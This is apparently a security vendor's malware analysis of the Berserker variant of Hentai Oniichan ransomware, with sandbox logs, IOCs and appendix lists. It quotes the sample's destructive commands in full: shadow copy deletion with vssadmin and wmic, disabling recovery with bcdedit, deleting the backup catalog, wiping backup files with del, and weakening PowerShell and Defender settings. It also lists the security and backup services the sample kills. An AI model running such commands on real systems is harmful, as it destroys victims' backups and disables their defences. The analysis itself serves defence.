
Malware Analysis Spotlight – Hentai Oniichan Ransomware (Berserker Variant)

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In this <u>Malware Analysis Spotlight</u>, we analyze the Berserker variant of Hentai Oniichan Ransomware.

We've observed at least two different variants of Hentai Oniichan Ransomware in-the-wild, <u>King Engine</u>, and Berserker. What we found interesting in our analysis of the Berserker variant is its attempts to make recovery difficult by deleting backup files, uncommon with traditional ransomware.

View the VMRay Analyzer Report for Hentai Onlichan Ransomware (Berserker Variant)

Hentai Oniichan Ransomware (Berserker Variant) Analysis

As a first step, Berserker injects code into a newly created process of the sample.

Initially, Berserker starts enumerating running processes in an attempt to terminate all processes that match its internal list (Figure 1, Appendix).



Figure 1: The decompiled function that terminates processes in the blocked list.

After it finishes with process enumeration, Berserker tries to shutdown services responsible for backups (see Appendix for a complete list), monitoring, or anything that could prevent it from encrypting files (Figure 2).

[0066.884] GetTickCount () returned 0x1152392 [0066.884] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x58e048 [0066.886] OpenServiceW (hSCManager=0x58e048, 1pServiceName "Acronis VSS Provider" dwDesiredAccess=0x2c) returned 0x0 [0066.886] CloseServiceHandle (hSCObject=0x58e048) returned [0066.887] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x58de40 [0066.888] OpenServiceW (hSCManager=0x58de40, lpServiceName="""" dwDesiredAccess=0x2) returned 0x0 [0066.889] CloseServiceHandle (hSCObject=0x58de40) returned 1 [0066.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58dfd0 | out: hHeap=0x570000) returned 1 [0066.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58df30 | out: hHeap=0x570000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e020 [0066.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58df80 [0066.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58df80 | out: hHeap=0x570000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xla) returned 0x58de68 [0066.889] GetTickCount () returned 0x1152392 [0066.889] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x58deb8 [0066.890] OpenServiceW (hSCManager=0x58deb8, lpServiceName "AcronisAgent" dwDesiredAccess=0x2c) returned 0x0 [0066.890] CloseServiceHandle (hSCObject=0x58deb8) returned [0066.890] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x58df80 [0066.891] OpenServiceW (hSCManager=0x58df80, lpServiceName="AcronisAgent" dwDesiredAccess=0x2) returned 0x0 [0066.892] CloseServiceHandle (hSCObject=0x58df80) returned [0066.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e020 | out: hHeap=0x570000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58df30 [0066.892] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58df80 [0066.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58df80 | out: hHeap=0x570000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16) returned 0x591108 [0066.892] GetTickCount () returned 0x11523a1 [0066.892] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName= dwDesiredAccess=0xf003f) returned 0x58df80 [0066.893] OpenServiceW (hSCManager=0x58df80, lpServiceName "AcrSch2Svc" dwDesiredAccess=0x2c) returned 0x0 [0066.893] CloseServiceHandle (hSCObject=0x58df80) returned 1 [0066.893] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x58df80 [0066.894] OpenServiceW (hSCManager=0x58df80, lpServiceName="AcrSch2Syc" dwDesiredAccess=0x2) returned 0x0 [0066.894] CloseServiceHandle (hSCObject=0x58df80) returned [0066.894] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58df30 | out: hHeap=0x570000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58dee0 [0066.894] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58dee0 | out: hHeap=0x570000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x591228 [0066.894] GetTickCount () returned 0x11523a1 [0066.894] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x58dee0 [0066.895] OpenServiceW (hSCManager=0x58dee0, lpServiceName "Antivirus" dwDesiredAccess=0x2c) returned 0x0 [0066.896] CloseServiceHandle (hSCObject=0x58dee0) returned

Figure 2: VMRay Analyzer Function Log – Berserker attempts to stop running services including "Acronis" and "Antivirus".

Berserker executes multiple Powershell commands during its execution. To make sure this is possible it tries to adjust certain settings and preferences (Figure 3). Following that, it also adjusts preferences for Windows Defender like disabling real-time monitoring and behavior monitoring.

Process (6611)

Operation	Process	Additional Information	Success	Count	Logfile
Create	C:\WINDOWS\system32\cmd.exe	cmd_line = C:\WINDOWS\system32\cmd.exe /c powershell \$ErrorActionPreference = 'SilentlyContinue', os_pid = 0x9d0, show_window = SW_HIDE	~	1	FN
Create	C:\WINDOWS\system32\cmd.exe	cmd_line = C:\WINDOWS\system32\cmd.exe /c powershell Set- ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted -force, os_pid = 0x1188, show_window = SW_HIDE	~	1	FN
Create	C:\WINDOWS\system32\cmd.exe	cmd_line = C:\WINDOWS\system32\cmd.exe /c powershell Set- ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -force, os_pid = 0x13e8, show_window = SW_HIDE	~	1	FN
Create	C:\WINDOWS\system32\cmd.exe	cmd_line = C:\WINDOWS\system32\cmd.exe /c powershell Set- ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Unrestricted -force, os_pid = 0x384, show_window = SW_HIDE	~	1	FN
Create	C:\WINDOWS\system32\cmd.exe	cmd_line = C:\WINDOWS\system32\cmd.exe /c powershell reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection /f, os_pid = 0x1350, show_window = SW_HIDE	~	1	FN
Create	C:\WINDOWS\system32\cmd.exe	cmd_line = C:\WINDOWS\system32\cmd.exe /c powershell reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack /f, os pid = 0x440, show window = SW HIDE	~	1	FN

The ransomware transmits the user name, computer name, and client key to an external server by sending an email. It uses Powershell to construct and send it via Gmail's SMTP server, whereby the script contains the plain login credentials (Figure 4.1 & 4.2).



1 Host			DNS Requests (1)	TCP Sessions (1)				
Requests 🔹	Severity		Service	Src IP	Src Port		Dest IP	Dest Port
smtp.gmail.com		^	-	192.168.0.143	49697		74.125.205.109	587 ^
53, 587		·						
			Session Functio	n Logs (1) Stream	n (11)			•••
			Timestamp			rection	Size	
			574.718499		←		52 B	^
			574.777426		\rightarrow		13 B	
			574.830070		←		168 B	
			574.832234		÷		10 B	
			574.878198		←		30 B	
			38 32 35 37 37 0 49 4D 45 0D 0A 3 53 0D 0A 32 35 3 54 41 54 55 53 4 50 49 50 45 42 4	0 7 9 5 7 2 2 9 3 4 2 3 1 3 3 3 3 3 3 3 3 3 3 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 0 2 3 3 0 2 3 3 0 2 3 3 0 2 3 3 0 2 3 3 0 2 3 3 0 2 3 4	0 73 65 72 76 69 4 2E 33 2E 31 39 A 45 20 33 35 38 D 38 42 49 54 4D 4 41 52 54 54 4C 1 4E 43 45 44 53 D 0A 32 35 30 2D	2 5 0 - s m t p . g m a i l . c o m at your service , [94.114.3.195] 2 5 0 - S I Z E 3 5 8 8 2 5 7 7 2 5 0 - 8 B I T M I M E 2 5 0 - S T A R T I L S 2 5 0 - E N H A N C E D S T A T U S C 0 D E S 2 5 0 - P I P E L I N I N G 2 5 0 - C H U N K I N G 2 5 0 S M T P U T F 8	122 B	~

Figure 4.2: View of traffic in VMRay Analyzer's Network Tab.

Berserker makes recovery more difficult by deleting backup files. Usually, ransomware targets the recovery feature provided by Microsoft Windows. They disable the recovery mode, delete shadow copies, and the backup catalog.

While most ransomware stops at this point, Berserker goes the extra length by attempting to delete potential backup and disk image files. It searches for the extensions .vhd, .bac, .bak, .wbcat, .bkf, .set, .win, .dsk and for files within directories called "*Backup*" or "*backup*" in the root directory of the filesystem (Figure 5). Typically, ransomware encrypts backups and doesn't remove them, except for Shadow Copies. By removing the backups

instead of encrypting the Berserker is potentially faster but carries the risk of deleting something they can't restore. In the case of virtual disk files used as additional data storage and not for backups, the data is lost.

Recently, we have seen another approach used by <u>RegretLocker</u> which also targets virtual disk image files. Instead of deleting them, the RegretLocker ransomware mounts the image files and encrypts the data inside.

cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
cmd.exe /c bcdedit /set {default} recoveryenabled No
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
cmd.exe / c vssadmin Delete Shadows / all / quiet
cmd.exe /c del /s /f /g c:*.VHD c:*.bac c:*.bak c:*.wbcat c:*.bkf c:\Backup*.* c:\backup*.* c:*.set c:*.win c:*.dsk
cmd.exe /c del /s /f /g d:*.VHD d:*.bac d:*.bac d:*.bkat d:*.bkf d:\Backup*.* d:\Backup*.* d:*.set d:*.win d:*.dsk
cmd.exe /c del /s /f /g c:*.VHD c:*.bac c:*.bak c:*.wbcat c:*.bkf c:\Backup*.* c:\Backup*.* c:*.ackup*.*
<pre>cmd.exe /c del /s /f /q f:*.VHD f:*.bac f:*.bak f:*.wbcat f:*.bkf f:\Backup*.* f:\backup*.* f:\backup*.* f:*.set f:*.dsk</pre>
cmd.exe /c del /s /f /q g:*.VHD g:*.bac g:*.bak g:*.wbcat g:*.bkf g:\Backup*.* g:\backup*.* g:*.set g:*.win g:*.dsk
cmd.exe /c del /s /f /g h:*.VHD h:*.bac h:*.bak h:*.wbcat h:*.bkf h:\Backup*.* h:\backup*.* h:*.set h:*.win h:*.dsk
cmd.exe /c wmic shadowcopy delete
cmd.exe /c wbadmin delete catalog -quiet

Figure 5: Additional deleting of backups by extensions and directories.

Cyber Security Side-Note

Since ransomware targets files used for backups, it is advisable to not host those files on the same system that is being backed-up.

Ideally, the storage is only temporarily accessible and further protected so that ransomware can not access those with ease.

Encryption

Berserker is written in C++ and is statically compiled against the library Crypto++.

For the encryption, Berserker iterates over the whole hard drive using depth-first search. It uses block-lists as a filtering mechanism. If a folder name or file extension is on its internal block-lists (see Appendix for a complete list) the file or directory is skipped. If the file is not on the list it is encrypted later on and gets the extension .HOR.

The ransomware also doesn't forget to deliver its ransom note. It drops two types of notes: one that is dropped on the desktop warning the user to not kill the running process (Figure 6).

The second ransom note is used as a replacement for the desktop wallpaper where the actual ransom demand and contact information is written (Figure 7).




Figure 6: Content of Warning.html displayed in a web browser.



Figure 7: Ransom note displayed as desktop wallpaper

Conclusion

In contrast to most ransomware, Berserker targets additional files and directories to make recovery more complicated. To do so, it heavily relies on Powershell and cmd. For example, Windows Defender mitigation, recovery feature, and email transmissions are handled by using Powershell.

Furthermore, we have found several log messages referenced in the code and during the dynamic analysis, the sample creates empty log files. This could indicate that the malware is still under development.

With VMRay's unique dynamic analysis technology and the <u>intelligent monitoring system</u> at the hypervisor layer, malware analysts can quickly and reliably reconstruct the big picture of the malware's behavior regardless of the complexity of the threat or its behavior.

IOCs

Sample

4444458bf47925c82431843fd147aabbfbee71ca849fc711cb69b0cea01f4747

Appendix

Names compared against running processes

antidebug_antivm_index.yar autoruns.exe autorunsc.exe crypto_index.yar dumpcap.exe exploit_kits_index.yar Fiddler.exe filemon.exe HipsDaemon.exe HipsMain.exe HipsTray.exe HookExplorer.exe httpdebugger.exe idaq.exe idaq64.exe ImmunityDebugger.exe ImportREC.exe inVtero.ps1 inVteroPS.ps1 inVteroPS.psm1 joeboxcontrol.exe joeboxserver.exe kscan.exe kwsprotect64.exe kxescore.exe kxetray.exe LordPE.exe malware_index.yar ollydbg.exe packers_index.yar PETools.exe proc_analyzer.exe ProcessHacker.exe procexp.exe procmon.exe py.exe python.exe QMDL.exe QMPersonalCenter.exe QQPCPatch.exe QQPCRealTimeSpeedup.exe QQPCRTP.exe QQPCTray.exe QQRepair.exe regmon.exe ResourceHacker.exe sniff_hit.exe sysAnalyzer.exe SysInspector.exe tcpview.exe windbg.exe Wireshark.exe x32dbg.exe x64dbg.exe

List of Disabled Services

Acronis VSS Provider AcronisAgent AcrSch2Svc Antivirus ARSM AVP BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDeviceMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService BackupExecVSSProvider bedbg ccEvtMgr ccSetMgr Culserver dbeng8 dbsrv12 DCAgent DefWatch EhttpSrv ekrn Enterprise Client Service **EPSecurityService EPUpdateService** EraserSvc11710 EsgShKernel **ESHASRV** FA Scheduler IISAdmin IMAP4Svc KAVFSGT kavfsslp klnagent macmnsvc masvc **MBAMService** MBEndpointAgent McAfeeEngineService McAfeeFrameworkMcAfeeFramework McShield McTaskManager mfefire mfemms mfevtp MMS mozyprobackup MsDtsServer100 MsDtsServer110 **MSExchangeES MSExchangeIS MSExchangeMGMT MSExchangeMTA** MSExchangeSA

MSExchangeSRS msftesql\$PROD msmdsrv MSOLAP\$SQL_2008 MSOLAP\$SYSTEM_BGC MSOLAP\$TPSAMA MSSQL\$BKUPEXEC MSSQL\$ECWDB2 MSSQL\$PRACTICEMGT MSSQL\$PRACTTICEBGC MSSQL\$PROD MSSQL\$PROFXENGAGEMENT MSSQL\$SBSMONITORING MSSQL\$SHAREPOINT MSSQL\$SOPHOS MSSQL\$SQL_2008 MSSQL\$SQLEXPRESS MSSQL\$SYSTEM_BGC MSSQL\$TPSAMA MSSQL\$VEEAMSQL2008R2 MSSQL\$VEEAMSQL2012 MSSQLFDLauncher\$PROFXENGAGEMENT MSSQLFDLauncher\$SBSMONITORING MSSQLFDLauncher\$SHAREPOINT MSSQLFDLauncher\$SQL_2008 MSSQLFDLauncher\$SYSTEM_BGC MSSQLFDLauncher\$TPSAMA MSSQLSERVER MSSQLServerADHelper100 MSSQLServer0LAPService MySQL57 MySQL80 NetMsmqActivator ntrtscan OracleClientCache80 **PDVFSService** P0P3Svc **QBCFMonitorService** QBIDPService QuickBoooks.FCS ReportServer\$SQL_2008 ReportServer\$SYSTEM_BGC ReportServer\$TPSAMA RESvc RTVscan SAVAdminService SavRoam SAVService SepMasterService ShMonitor Smcinst SmcService SMTPSvc SNAC SntpService

Sophos Agent Sophos AutoUpdate Service Sophos Clean Service Sophos Device Control Service Sophos File Scanner Service Sophos Health Service Sophos MCS Agent Sophos MCS Client Sophos Message Router Sophos Safestore Service Sophos System Protection Service Sophos Web Control Service sophossps SQL Backups sqladhlp SQLADHLP sqlagent SQLAgent\$BKUPEXEC SQLAgent\$CITRIX_METAFRAME SQLAgent\$CXDB SQLAgent\$ECWDB2 SQLAgent\$PRACTTICEBGC SQLAgent\$PRACTTICEMGT SQLAgent\$PROD SQLAgent\$PROFXENGAGEMENT SQLAgent\$SBSMONITORING SQLAgent\$SHAREPOINT SQLAgent\$S0PH0S SQLAgent\$SQL_2008 SQLAgent\$SQLEXPRESS SQLAgent\$SYSTEM_BGC SQLAgent\$TPSAMA SQLAgent\$VEEAMSQL2008R2 SQLAgent\$VEEAMSQL2012 sqlbrowser SQLBrowser SQLsafe Backup Service SQLsafe Filter Service SQLSafe0LRService sqlserv SQLSERVERAGENT SQLTELEMETRY\$ECWDB2 sqlwriter SQLWriter svcGenericHost swi_filter swi_service swi_update_64 Symantec System Recovery TmCCSF tmlisten tomcat6 TrueKeyScheduler TrueKeyServiceHelper UI0Detect

Veeam Backup Catalog Data Service VeeamBackupSvc VeeamBrokerSvc VeeamCatalogSvc VeeamCloudSvc VeeamDeploymentService VeeamDeploySvc VeeamEnterpriseManagerSvc VeeamHvIntegrationSvc VeeamMountSvc VeeamNFSSvc VeeamRESTSvc VeeamTransportSvc vmware-converter vmware-usbarbitator64 W3Svc wrapper WRSVC

List of Ignored Extensions

.bak .bin . C .cpp .ps1 .hpp .cmd .com .dat .DAT .db .dll .exe .h .inf .ini .ink .js .lib .lnk .sys .vbs

.WS